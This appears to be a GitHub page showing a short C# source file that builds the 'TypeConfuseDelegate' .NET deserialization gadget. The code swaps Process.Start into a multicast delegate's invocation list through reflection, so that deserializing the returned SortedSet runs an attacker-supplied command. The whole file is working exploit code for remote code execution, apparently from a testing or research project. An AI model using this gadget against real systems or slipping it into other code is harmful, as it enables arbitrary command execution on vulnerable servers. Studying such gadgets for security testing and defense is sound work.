-
Notifications
You must be signed in to change notification settings - Fork 2
/
TypeConfuseDelegateGadget.cs
30 lines (25 loc) · 1.02 KB
/
TypeConfuseDelegateGadget.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
namespace TestCacheSP
{
public class TypeConfuseDelegateGadget
{
public static object GetObject(string cmd)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(cmd);
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
return set;
}
}
}